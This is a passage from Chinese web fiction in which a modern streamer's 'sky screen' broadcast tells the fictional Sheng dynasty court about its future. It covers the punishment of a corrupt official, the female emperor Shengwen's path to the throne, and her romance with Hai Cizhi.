【按照概率学来看的话,咱们绝大多数人,基本都只会是那最没有话语权的普通老百姓,渺小如蝼蚁,只能被迫接受权贵的剥削,但却毫无反抗之力】 【晏安时期的老百姓,尚且还有盛武帝愿意为他们做主,但其他时期的皇帝,就算百姓死个十万甚至百万,人家估计都心如止水、面色不改】 【还有那些成天喜欢阴谋论的无良营销号,娄秉这样一个恶贯满盈且证据确凿的大贪官,盛武帝难道不该判处他死刑,以儆效尤吗?娄秉死之前那句“狡兔死,走狗烹”,不过就是他这个罪人不甘心就此死去,所以才故意要抹黑盛武帝。你们成天拿着一个贪官的话来大做文章,你们难道不觉得自己很可笑吗?】 天幕上,很多网友此刻都忍不住在弹幕中出声附和许三九: 【很多垃圾营销号,都是抱着博人眼球、吸引流量的想法,所以才成天故意语不惊人死不休】 【毕竟黑红也是红嘛,只要能吸引来流量,那些营销号基本都是不择手段,没话题都能硬生生造出热搜话题来】 【这也就是我现在越来越不太爱刷短视频的缘故,太多垃圾内容了】 【能共情贪官的,除了既得利益者,我都想不出还有谁了】 【如果我是当时湖广地区的百姓,我估计还觉得盛武帝是轻判了呢!像娄秉这种畜生,应该将他千刀万剐才对!】 天幕下,湖广地区的老百姓,此刻确实是在对娄秉破口大骂,觉得他这贪官简直是坏到骨子里去了。 “还好咱们圣上把这个娄秉给判死刑了,不然他要是还活着,那可真是没天理了!” “咱们是运气好,碰着了圣上这个公私分明的皇帝,不然咱们这些平头老百姓,估计是哑巴吃黄连,有苦都难言!” “真是想不明白,怎么会有后人同情那个大坏种贪官呢?这贪官害死了那么多人,盛武帝判他死刑,这不是理所应当的事情吗?” 许三九这时嘴角勾起一抹嘲讽的笑,望向镜头说道: 【有些阴谋论者,很喜欢把盛武帝对娄秉的处理,说成是因为娄秉功高震主】 【但我说真的,“功高震主”这词还真轮不到娄秉去考虑】 【娄秉他虽然个人武艺确实不错,但他更重要是有个救了盛武帝一命的亲哥,不然的话,他根本就不可能享受到盛武帝给的那么多优待】 【再说了,连赵之翎将军那么低情商的人,都能在盛武帝的统治下,无灾无难地活到八十五岁高龄才安详去世】 【一直心中惴惴不安的薄昌将军,在赵之翎将军他退休在家养老后,也都曾经跟赵之翎将军表示过,说自己过去那些年,对盛武帝属实是以小人之心度君子之腹】 【所以,那些说盛武帝容不下手底下有能人的言论,真的可以消停一些了】 【你们自己没遇到过胸怀宽广的人,可不代表这世上就不存在这类人物】 【而且,人家盛武帝自身就能力超群,他哪里需要去妒贤嫉能啊?】 【我有时候,真是忍不住都怀疑那些无脑黑盛武帝的人,会不会真的是连初中文凭都没拿到的九漏鱼】 …… 天幕下,宁勒城里。 薄昌见赵之翎望向自己,以为赵之翎是打算拿许三九刚才说的话,来嘲笑自己杞人忧天。 却没成想,赵之翎开口的第一句,竟然就是朝他道谢。 薄昌目露惊讶地看向赵之翎,觉得有点出乎意料。 赵之翎却是笑容爽朗地望向他,说道:“我知道你也是一片好心,不然以你的性子,才不可能操心那么多事情!” 薄昌听到他这话,顿时脸上也微微露出了笑意,觉得历史上的那个“自己”,一番好意其实并没有白费。 作者有话说: 【引用出处:魏晋时期李康《运命论》】 第89章 最终直播:盛武帝的完美…… 在春闱前的那次天幕直播过后,许三九随后又进行了两次直播。 而这一天,当她和天幕再次出现在大盛的空中时,恰好是凌戈和孟雪姝结婚的大喜日子。 【宝子们,盛武帝这一系列的视频,三九我也已经做有一段时间了】 【所以就想借今天这个视频,给这一系列视频画上个圆满的句号】 【从我做盛武帝相关视频的第一期开始,就一直有宝子发私信给我,想让我做一期关于盛文帝的视频】 【三九我本人其实一直以来也非常喜欢盛文帝】 【因此,咱们这一期视频,就来讲讲盛武帝他的完美继承者,盛文帝】 天幕下,皇宫里,身着华贵喜服,正身处宴会现场的凌戈和孟雪姝互相对视了一眼,俩人眼神里都有点懵的感觉。 他们夫妻俩这才刚成婚呢,结果许三九现在竟然就要来直播他们夫妻俩的孩子了吗? 早就日夜盼着抱孙的盛昭帝,此刻则是一脸兴奋,觉得许三九选在这一天直播,可算是太好了。 而一众朝臣们,此刻望向天幕的眼神里,也都带着几分明显的期待和好奇。 文帝这个谥号,可是顶级美谥。 由此可见,凌戈挑选的这个继任者,应该也是安邦定国、慈惠爱民的盛世明君。 【关于盛文帝,一直以来都有几个传得比较广的谣言,咱们今天就来一一探讨下这几个谣言的真实性】 【首先就是关于盛文帝不受孟皇后喜爱的这个谣言】 【说句实话,我真是不理解,这个谣言到底为什么会传得那么广】 【为什么总是会有人觉得孟皇后她一定重男轻女呢?】 【虽然盛文帝并不是孟皇后的第一个孩子,但这难道就能代表,孟皇后她一定会偏爱大儿子,而不喜欢小女儿吗?】 天幕下,凌戈对于盛文帝竟然是女帝这件事,他神色倒是还算淡定。 毕竟,无论盛文帝是女是男,终归都是他和孟雪姝的孩子。 但无论是孟雪姝,还是盛昭帝,亦或者是其他朝臣们,此刻脸上则都浮现出了诧异的神情。 大家因为过往认知和经验,所以刚才听到盛文帝这个称呼时,脑子里便先入为主地认为这应该是个男子,丝毫没去考虑过女帝这个可能性。 许三九这时还在天幕上继续说道: 【孟皇后她确实在晚年时,曾经说过,认为大儿子景王比小女儿盛文帝更贴心,但这又有什么呀?】 【景王他就一富贵闲人,而且对朝务也并不热衷,更喜爱游山玩水。他能陪孟皇后和盛昭帝的时间,当然是要比治理天下的盛文帝充裕许多了】 【很多人在脑补孟皇后重男轻女,更喜欢大儿子时,经常都会忘记,孟皇后可是推动女子也能参与科举的第一人】 【宝子们,你们自己说说,一个会朝盛武帝上奏建议,强烈要求允许女子也能参与科举的人,她身上怎么可能会有重男轻女这种封建的畸形观念呢?】 【照我看,这种谣言之所以会出现并且广为流传,纯粹是有些人自己重男轻女就算了,还要觉得天底下所有人都和他一样,简直就是可笑至极!】 天幕下,孟雪姝此刻虽然面上表情看似平静,但心中对许三九的这番话,却很是认同。 她自己了解自己的想法。 说句实在话,在她心里,比起儿子而言,她其实更喜欢女儿。 【那些信誓旦旦认为孟皇后和盛文帝母女关系不和的人,真该看看孟皇后写给盛文帝的家书】 【众所周知,孟皇后在盛武帝退位给盛文帝以后,他们夫妻俩就经常微服出游,在大盛各地到处游玩】 【而有一次,孟皇后和盛武帝在经过一处桃园时,见那桃子在树上生得很是诱人,便跟那桃园主人买了几颗】 【因着那桃子的味道很是美味,孟皇后事后在给盛文帝写信时,还在信中朝盛文帝表示道,说很惋惜盛文帝当时不在他们身边,因为盛文帝最是喜欢那种清甜脆爽的桃子】 【孟皇后她连吃一个桃子,都能想到盛文帝这个女儿,这到底哪里像是关系不和的母女会有的表现了?】 【还有一次,孟皇后她在和盛武帝游历江南时,见到一家成衣店有套天蓝色裙装很是漂亮,感觉会非常适合盛文帝,便特意买了下来,放进行囊里面,然后一路从江南带到京师】 【宝子们,盛文帝她日常的服装可都是有规制可循,基本是很少有穿常服的机会,但就算是这样,孟皇后还是在看到感觉适合女儿的衣服时,会想着要买下来送给女儿】 【爱一个人,其实真的是体现在生活里方方面面的细节】 【而以小窥大,从这些日常小事中,我相信只要是明眼人,就都能看出孟皇后对盛文帝这个女儿到底有多在乎】 天幕下,孟雪姝此刻听着许三九的描述,心中已经开始不由期待起自己未来的女儿。 她在没遇到凌戈之前,其实心中就已经盼着,如果未来结婚以后,能有个女儿就好了。 现在许三九的剧透,让她感觉自己像是吃了颗定心丸。 【关于盛文帝不受孟皇后喜爱的这个离谱谣言,相信听我讲到这里,懂得人应该也都已经懂了,所以三九我也就不再费过多口舌】 【接下来,咱们来唠唠这第二个可笑的谣言】 【那就是盛文帝之所以能从她父亲手中继承皇位,是因为她哥哥景王拱手相让,不愿意和妹妹势同水火,最后甚至是血肉相残,所以见妹妹想要皇位,他便将唾手可及的皇位,转让给了妹妹来继承】 许三九说到这,直接冷冷嗤笑了一声: 【能说出这种话的人,我真怀疑他是不是脑子进水了】 【我想请问一下,景王他身上难道有什么地方是能胜得过盛文帝的吗?】 【无论是文韬武略,还是经天纬地,盛文帝的才能都远胜过景王这个比她年长几岁的大哥】 【在盛文帝和景王被盛武帝送到国子监进学之前,盛文帝和景王的老师是温相,俩人每日都需要到温相那里上半天的课,再花半天完成温相布置的作业】 天幕下,此时的京师已经是五月中旬,今年的春闱已经结束。 温容凭借自己出类拔萃的才华,被凌戈钦点为了状元的人选。 凌戈和孟雪姝今天大婚,他这个新科状元,自然也获邀参加宴席。 在天幕出现之前,他原本正和孟雪姝的祖父,也就是孟谦这个宰相,在闲谈诗文。 当听到自己的名字再次被许三九在天幕上提及,他清隽的眉眼间不禁浮现出了些许好奇。 孟谦注意到他的神态变化后,眼眸中露出了几分笑意。 对于温容这个新科状元,孟谦经过这阵子的接触和观察,心中很是满意,觉得以温容的资质,确实是有宰辅之相。 长江后浪推前浪,孟谦看到朝中有新秀出现,心中并不会感到什么嫉妒,反而只会替大盛的黎民百姓感到欣喜和安心。 而此时的天幕上,许三九望向镜头,声音清亮地说道: 【因为温相是盛文帝和景王的启蒙老师,所以盛武帝在决定继任者之前,曾经私下向温相询问过意见,问他觉得自己的两个孩子里面,谁更适合成为下一任帝王】 【而温相也并没有朝盛武帝打官腔,而是直接朝盛武帝明确表示道,说如果没有盛文帝,那景王会是个不错的君王人选。但在天资聪颖的盛文帝面前,景王这个大哥实在是没有获胜的可能性】 【温相甚至还很大胆地朝盛武帝提出建议,说盛武帝应该趁早把盛文帝定为太子,这样才能让景王早点对皇位死心,同时也能够让朝堂上更加安稳,而不至于因为夺嫡而出现党争博弈】 天幕下,温容听到许三九这么说,他再次为“自己”对“盛武帝”的信任程度之深而暗暗感到惊诧。 在温容看来,对于“自己”而言,最理性的选择应该是保持中立才对,而不是在“盛武帝”面前明确表现出自己对盛文帝和景王的喜好。 此刻,温容忍不住用眼角余光悄悄看了一眼不远处的盛武帝。 他心中越发对自己未来的朝堂生活充满了期待。 温容心中有一种很强烈的直觉,即使没有天幕上所说的那些经历,凌戈也依然不会让自己失望。 【盛武帝本来就对盛文帝的各种表现都很是赞赏,再加上温相的明确建议后,他更是越发坚定了立盛文帝为继承者的心思】 【所以,在盛文帝15岁那年,盛武帝便正式昭告天下,宣布将盛文帝立为太子】 【盛武帝的这个举措,自然是让不少人都感到意外】 【毕竟,当时朝堂上虽然已经有一些女官的身影,但很多人心中其实还是认为,景王才会是那个最终的继承者】 【但盛武帝立盛文帝为太子的这个选择,却是大大出乎了这些人的预料,然而,即使朝堂上很多人都站出来提出各种反对意见,盛武帝也丝毫没有改变主意的迹象】 【因着盛武帝明确表现出了对盛文帝的坚定支持和信任态度,这些反对声音,后面自然也就慢慢消散了下去】 天幕下,孟雪姝听到这里时,心中不由替“女儿”感到一阵高兴。 因为,她不用想都知道,在那种情况下,“盛武帝”这个父亲的支持对“女儿”有多重要。 如果当时“盛武帝”想着要敲打“太子”,防止“太子”一派独大,以至于威胁到自己的皇位,那“盛武帝”有太多方法可以让“太子”感到难受了。 然而,“盛武帝”却并没有这样做,反而是选择对“女儿”表现出了坚信不疑的支持。 而只要有“盛武帝”的支持,“女儿”的太子之位,自然也就是稳若泰山。《 》 【正文完结】 第90章 正文完结:…… 天幕上,许三九望着镜头,嘴角微微上扬: 【关于盛文帝,还有另外一个谣言,也同样传得沸沸扬扬】 【这个谣言主要是来源于一部古早的歪屁股历史剧,那电视剧的导演和编剧在接受采访时,说是要拍一部宏大的女帝历史剧,结果不仅不进行历史考证,甚至还把盛文帝塑造成了一个为爱昏头的恋爱脑】 【当初这部剧刚上映播出时,就有很多史学家对剧里的内容进行批评,说这部剧简直是将盛文帝魔改得面目全非,把真实的历史篡改成了侮辱观众智商的狗血虐恋剧】 【而那导演对于这些批评,却是置若罔闻,甚至还恬不知耻地出来说他们这是旧瓶装新酒,在对历史进行推陈出新】 【因着那部剧当时请了两个大热流量明星当主演,再加上制片方还走通了不少电视台的渠道,所以这部剧在那一年的收视率,甚至还排在了前十,名列第六名】 【很多不了解盛文帝时期历史的人,也正是因为这部剧,就认为盛文帝在和她王夫海辞知的感情中,她是处于卑微的弱势地位】 天幕下,皇宫里,海青瑾听到“海辞知”这个名字时,手中正端着酒杯的她,不由轻挑了下眉头。 海青瑾如今已经彻底接受凌戈的招安,所以这次凌戈大婚,她也收到了邀请,特地前来京师参加凌戈的婚宴。 而坐在她左右两侧的殷笠霄、左恒和明迎宸他们三人,也瞬间被“海辞知”的姓氏给吸引了注意力,望向天幕的神态真正开始变得认真了起来。 【我真怀疑那部剧的导演和编剧可能连盛文帝的史料都没翻开看过一遍,不然我真想不明白他们是怎么做到把盛文帝这个万人迷,塑造成一个可怜的恋爱脑】 【真正的历史中,盛文帝她的人缘简直是好到了极点,堪称是男女通杀】 【盛文帝被立为太子以后,盛武帝这个父亲并不是将她限制在皇宫中,反而是让她去到宫外的国子监,与那些来自五湖四海的监生们一起读书】 【她在国子监读书的那三年时间里,成绩永远排名第一,是整个国子监当之无愧的头号风云人物】 【听到我这么说,是不是会有宝子觉得,以盛文帝这么优秀的表现,她会不会性格很是高傲,不是一个很好相处的人?毕竟,恃才傲物这个词,可不是凭空产生出来的。再加上,咱们生活中也不是没有碰到过这样的人】 【但事实却是,盛文帝的性情其实很是温和与包容。她在国子监读书期间,结识的朋友既有出身高门权贵家庭,也有很多其实是出身普通市井人家。无论是何种性情的人,她基本都能和对方做到融洽相处】 【根据史料记载,当时盛文帝的很多同窗,私下里其实都对盛文帝心存爱慕之情,甚至还曾经有女监生偷偷给盛文帝递情书表白】 【是的,等到盛文帝入读国子监时,当时国子监里已经早有女监生的存在,而且双方的性别比已经是上升到了3比7这样的水平】 【不过,提起女监生给盛文帝写情书这件事,三九我想了想,又觉得这实在是太正常不过的事情了】 【毕竟,从盛文帝时期的很多文人诗作来看,盛文帝的长相还完美继承了她母亲孟皇后和父亲盛武帝的优良基因,据说是超级明艳的浓颜大美人】 【宝子们可以试想一下,假如你读书期间,你们学校有个常年第一的学神,她还是长得特别漂亮的校花,而且性格还特别好,家世也属于是顶尖水平,你身边如果有这么一个同窗,你每天见到她时,能不被她迷得神魂颠倒,想要拜倒在她的石榴裙下,成为她的迷妹迷弟吗?】 天幕上,随着许三九的叙说,网友们在弹幕中的评论也变得多了起来: 【哈哈哈哈哈,那我这个颜控晚期肯定是包迷糊的!!】 【我作证,三九她刚才介绍的那些内容,全是根据史料而来,因为我本科毕业论文就是研究盛文帝时期的政策。我开题之前,本来是想好好搞篇学术论文的,结果查资料的头三个月里,一心沉浸在盛文帝这大美人的魅力上面,后面还忍不住写了篇四十万字的同人文。关键是,我那篇毕业论文,最后还被我导师夸研究细致,把我当时都给夸心虚了,因为我用在论文里的很多资料,其实是之前为了产粮才做的调查】 【唉,三九真是把我都给说羡慕了!我读书时期,要是能和盛文帝这么一个大美人当同窗,那我肯定是得乐翻天,上学都上得有盼头了!】 …… 许三九望着镜头,说道: 【正是因为盛文帝她在国子监读书时期,备受同窗们的欢迎,所以当得知盛武帝竟然要将盛文帝她派到南边海军去历练时,国子监的监生们一时间那是连饭都吃不下,觉也睡不香了】 【在盛文帝她离开国子监的那一天,监生们更是自发组织起来,为她办了一个盛大的欢送会】 【盛文帝还没离开京师,她的同窗们就已经开始盼着她下次什么时候能重新回到京师来】 【当时,盛文帝是被盛武帝送到海青瑾这位海军大元帅的麾下进行历练】 【海青瑾一开始并不想帮盛武帝带孩子,觉得盛文帝肯定麻烦事很多,所以,当盛文帝抵达她的军营后,她直接就将盛文帝丢去新兵训练营那边,想让盛文帝在那里吃尽苦头后,自己知难而退】 【然而,海青瑾的这个安排,却着实是小瞧了盛文帝】 【盛文帝到了新兵训练营以后,照样表现得很是出色,让一众将士们都对她敬佩得心服口服,纷纷主动在海青瑾面前,替盛文帝说起好话来】 【海青瑾听到那么多人夸赞盛文帝以后,她心中也不免对盛文帝产生了好奇】 【因此,一天夜里,她就突发奇想,去到新兵训练营那边,打算去试探下盛文帝的水平深浅,结果,她这一去,就被自己撞见的画面给震惊到了】 【海青瑾当时去的时候,正是新兵们的休息时间,海青瑾本来是打算悄悄找到盛文帝,结果却在去的路上,意外碰见了盛文帝和海辞知亲昵拥吻的画面】 【相信不了解历史的宝子,在听到海辞知的姓氏后,肯定会在心里想,海辞知是不是和海青瑾这个海军大元帅存在血缘关系?】 【是的,你们没猜错,海辞知他就是海青瑾的大儿子】 【而且,盛文帝她之所以会认识海辞知,就是因为海青瑾当时让海辞知负责新兵营的训练任务】 【盛文帝和海辞知正是在新兵营的相处中,产生了爱情的火花】 【而盛文帝虽然没预料到自己与海青瑾的第一面相见,竟然会是这么尴尬的画面,但还是大大方方地朝海青瑾打了招呼】 【虽然海青瑾在没见到盛文帝之前,她心中一直觉得盛文帝是个大麻烦,但等真的和盛文帝相处过后,她和盛文帝的关系反而是好到让她儿子海辞知都吃醋了起来】 【海辞知觉得自家母亲霸占了盛文帝的闲余时间,导致自己想和盛文帝多些单独的相处都难】 【而盛文帝因着和海青瑾这个海军一把手成为忘年之交的缘故,她自然也就获得了更多的锻炼机会】 【等到四年后,她收到盛武帝回京的旨意时,她在海军水师中的威望,已经是仅仅位于海青瑾之下】 【对于盛文帝回京这件事,京师朝野上下自然是充满期待,尤其是那些对盛文帝心怀情愫的暗恋者们】 【然而,当那群高官子弟们,看到回京来的盛文帝,身边竟然还带着个海辞知后,他们瞬间就一个个都心碎到肝肠寸断了】 【有不甘心的人,甚至还联合起来,打算埋伏海辞知,给海辞知一个教训】 【然而,这群人实在是低估了海辞知的武力值,所以最终竟然是搬起石头砸了自己的脚,被海辞知以一己之力,给打了个落花流水】 天幕下,海青瑾和殷笠霄等人,听到许三九这话,瞬间一脸的得意之色。 而坐在海青瑾附近的那些京师官员们,注意到海青瑾和殷笠霄等人此刻的神态后,心中则是顷刻间感到一阵被压了一头的不悦感。 但他们对此又无可奈何,只能暗暗在心中痛骂那些京师子弟实在不堪重用,竟然被海辞知这么一个外人给捷足先登,最后甚至连围殴都打不过人家。 【对于这群高官子弟气急败坏的反应,三九我说实话,其实也能理解他们为何会反应如此激烈】 【宝子们不妨换位思考一下,假如你心中一直有个高不可攀的白月光,结果她出国留学了几年,等再回国后,竟然带回来了一个黄毛,那你难道能不恨那个黄毛恨得咬牙切齿吗?】 【在那群养尊处优的京师官宦子弟们眼中,海辞知他就是那个黄毛小子!】 【所以,在盛文帝回京以后,这群高官子弟一直都处心积虑,用尽各种办法想要插足进盛文帝和海辞知的感情,但最终都是以失败告终】 【于是,等到盛文帝和海辞知大婚的那天,京师许多酒楼更是一下子多了不少千金买醉的客人】 【而盛文帝在盛武帝和孟皇后这对父母的影响下,她一生也只选择了海辞知这一个皇夫】 【这在当时,更是让很多人每次提起海辞知这个皇夫,都气得是直磨后槽牙】 天幕下,凌戈和孟雪姝互相对视了一眼,俩人都不禁为“女儿”的受欢迎程度之高而笑了起来。 凌戈和孟雪姝夫妻俩都打心底里觉得,能够在大婚的这一天,提前看到许三九在天幕上关于“女儿”的这个剧透,是一件很幸运的事情。 作者有话说:正文写到这里就完结啦,明天开始更新番外[猫爪][猫爪]《 》